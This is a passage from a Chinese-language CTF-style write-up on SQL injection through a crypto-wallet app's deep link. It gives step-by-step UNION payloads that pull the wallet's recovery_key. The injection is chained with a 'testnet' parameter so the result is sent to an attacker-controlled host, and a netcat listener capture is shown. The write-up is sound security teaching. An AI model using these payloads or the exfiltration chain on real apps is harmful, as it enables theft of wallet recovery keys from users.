我们需要了解一个基本概念。当应用程序容易受到 SQL 注入的攻击并且查询结果反映在响应中时,修改参数的值会直接影响检索到的数据。

为了测试这一点,我们尝试在 amount 参数中使用 payload 进行注入。以此参数为目标的原因是,对其值的更改会直接影响输出,这表明它与数据库交互。因此,从技术上讲,如果响应与此有效负载按预期更改,则它确认该参数正在作为数据库查询的一部分进行处理,而没有进行适当的清理。AND id=2;

具有 payload 的初始深度链接:execURL(“flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=0.1%20AND%20id=2;&testnet=http://192.168.18.177");

注射工艺

那么,结果是什么呢?
从此注入中,我们观察到最初显示 和 from 的应用程序现在显示 和 from 。这确认了我们的注入条件 () 成功修改了已执行的 SQL 查询。amountaddressid=1amountaddressid=2AND id=2;

注射前后

现在,让我们分解有效负载以了解其工作原理。

  • 该部分向现有查询添加条件,强制数据库仅返回 id=2 的行。这确认了该参数直接影响查询执行。AND id=2
  • 至于分号 (),它在 SQL 中用作语句终止符。但是,大多数现代数据库管理系统一次执行一个查询,除非明确配置为允许每个请求多个语句。 在这种情况下,分号不会执行第二个查询,但可以帮助我们了解应用程序如何处理输入。;

简而言之,数据库执行 ,而 input () 的其余部分被视为无效,因此不会显示其他输出。SELECT * FROM wallet WHERE amount > 0.1 AND id = 2;AND currency=’flipcoin’ LIMIT 1;

7.2. 迁移到基于 UNION 的 SQL 注入

由于我们已经确认 amount 参数可以修改查询的输出,因此下一步是检查我们是否可以控制显示哪些数据

从我们之前的注入 () 中,证明了参数影响了 SQL 查询,但它只改变了显示哪一行。为了提取有用的数据,我们需要一种方法将我们自己的值插入到输出中。这就是基于 UNION 的 SQL 注入的用武之地。AND id=2;

UNION 运算符允许组合来自两个查询的结果,这意味着如果应用程序接受它,我们可以注入额外的数据,甚至检索隐藏的数据库信息。

因此,为了测试这一点,我们使用以下有效负载:

<span style="background-color:#f9f9f9"><span style="color:#242424">%<span style="color:#1c00cf">20</span><span style="color:#aa0d91">UNION</span>%<span style="color:#1c00cf">20</span><span style="color:#aa0d91">SELECT</span>%<span style="color:#1c00cf">20</span><span style="color:#c41a16">'a1'</span>,<span style="color:#c41a16">'b2'</span>,<span style="color:#c41a16">'c3'</span>,<span style="color:#c41a16">'d4'</span>,<span style="color:#c41a16">'e5'</span></span></span>

具有新负载的深度链接:
execURL(“flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=0.1%20UNION%20SELECT%20'a1',’b2',’c3',’d4',’e5';&testnet=http://192.168.18.177");

具有第 2 个 Playload 的注入过程

为什么是这个有效负载?

  • 基本上,UNION SELECT 语句允许我们将自己的查询与原始查询相结合,这可以使应用程序显示我们控制的数据。

  • 值 , , , 是任意占位符,用于检查它们是否出现在输出中。‘a1’‘b2’‘c3’‘d4’‘e5’

也许你想知道,为什么恰好有 5 个值?

嗯,UNION SELECT 中的列数必须与原始查询中的列数匹配。如果计数不正确,数据库将引发错误。由于我们之前检查了 SQLite 文件并发现该表包含 5 ,因此我们在有效负载中指定了 5 个值。wallet

要了解有关基于 UNION 的 SQL 注入的更多信息,读者可以参考 PortSwigger Academy 的其中一份材料,其中详细介绍了 SQL 注入 UNION 攻击。

那么,我们发现了什么呢?
令人惊讶的是,应用程序接受了我们的有效负载并在界面中显示 b2。这确认了 UNION 查询的第二列反映在输出中,这意味着我们可以使用它从数据库中提取数据

以下是屏幕上显示的内容:

屏幕上出现 “b2” 文本

以下是我们在截获的响应中捕获的内容:

请求中出现 “b2” 文本

7.3. 提取目标数据 — 将各个部分放在一起

由于我们已经确认 UNION 查询的第二列出现在应用程序的响应中,因此我们现在可以尝试检索实际的数据库记录。我们没有使用任意占位符,而是将第二个值替换为子查询,该子查询旨在检索存储在 .recovery_key

为了测试这一点,我们按如下方式修改 payload:

<span style="background-color:#f9f9f9"><span style="color:#242424">%<span style="color:#1c00cf">20</span><span style="color:#aa0d91">UNION</span>%<span style="color:#1c00cf">20</span><span style="color:#aa0d91">SELECT</span>%<span style="color:#1c00cf">20</span><span style="color:#c41a16">'a'</span>,(<span style="color:#aa0d91">SELECT</span>%<span style="color:#1c00cf">20</span>recovery_key%<span style="color:#1c00cf">20</span><span style="color:#aa0d91">FROM</span>%<span style="color:#1c00cf">20</span>wallet),<span style="color:#c41a16">'c'</span>,<span style="color:#c41a16">'d'</span>,<span style="color:#c41a16">'e'</span>;</span></span>

深度链接应如下所示:
execURL(“flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=0.1%20UNION%20SELECT%20'a’,(SELECT%20recovery_key%20FROM%20wallet),’c’,’d’,’e’;&testnet=http://192.168.18.177");

具有最终有效载荷的注入过程

因此,此有效负载的结果是,我们成功地从表中检索了 。recovery_keywallet

“recovery_key”(标志)出现在屏幕中

这不是需要对目标设备进行物理访问的本地 SQL 注入吗?是什么让这成为一个问题?

回顾一下,由于我们之前发现修改该值允许应用程序向我们控制的主机发送请求,因此使用这个最终的 SQLi 有效负载制作一个深度链接将允许通过单击远程提取 。testnetrecovery_key

recovery_key 单击即可从远程目标中提取

<span style="background-color:#f9f9f9"><span style="color:#242424">% nc -lv 80

POST / HTTP/1.1
<span style="color:#643820">Host: 192.168.18.77</span>
<span style="color:#643820">Content-Type: application/json</span>
<span style="color:#643820">Connection: keep-alive</span>
<span style="color:#643820">Accept: application/json</span>
<span style="color:#643820">User-Agent: Flipcoin%20Wallet/1 CFNetwork/1410.1 Darwin/22.6.0</span>
<span style="color:#643820">Content-Length: 153</span>
<span style="color:#643820">Accept-Language: en-GB,en-US;q=0.9,en;q=0.8</span>
<span style="color:#643820">Accept-Encoding: gzip, deflate, br</span>

    '{<span style="color:#c41a16">"jsonrpc"</span>:<span style="color:#c41a16">"2.0"</span>,<span style="color:#c41a16">"method"</span>:<span style="color:#c41a16">"web3_sha3"</span>,<span style="color:#c41a16">"params"</span>:[<span style="color:#c41a16">"FLAG{fl1p_d4_c01nz}}"</span>, <span style="color:#c41a16">"7da50a3fe76ad0ea1de171ec47042ce913235c3792628a779f6acc5b07bebd90"</span>],<span style="color:#c41a16">"id"</span>:1}'</span></span>

八、结论

因此,我们进入了本文的最后一部分。总之,该应用程序容易受到本地 SQL 注入的攻击,这意味着需要对设备进行物理访问才能执行攻击。但是,通过将此问题与未清理的测试网参数链接起来,提取的数据可以远程泄露到攻击者控制的主机。

从另一个角度来看,这个实验不仅仅是一个关于通过深度链接进行 SQL 注入的案例研究,它还强化了一个重要的教训,即正确的测试需要对应用程序的流程有深入的理解。 在这种情况下,只有在确定应用程序使用的确切表结构后才能提取 。这种情况凸显了超越单一攻击媒介并全面评估整个系统的重要性,确保跨多个层进行全面评估。recovery_key

IX. 参考资料

其它相关课程

图片

图片

图片

图片

新课

图片

详细目录

mac/ios安全视频

图片

QT开发底层原理与安全逆向视频教程

图片

linux文件系统存储与文件过滤安全开发视频教程(2024最新)

图片

linux高级usb安全开发与源码分析视频教程

图片

linux程序设计与安全开发

图片

 

 

  • 图片

  • windows网络安全防火墙与虚拟网卡(更新完成)

  • 图片

  • windows文件过滤(更新完成)

  • 图片

  • USB过滤(更新完成)

  • 图片

  • 游戏安全(更新中)

  • 图片

  • ios逆向

  • 图片

  • windbg

  • 图片

  • 还有很多免费教程(限学员)

  • 图片

    图片

    图片

  • 图片

  • windows恶意软件开发与对抗视频教程

  • 图片

  • 图片

  • 图片

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

C-haidragon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值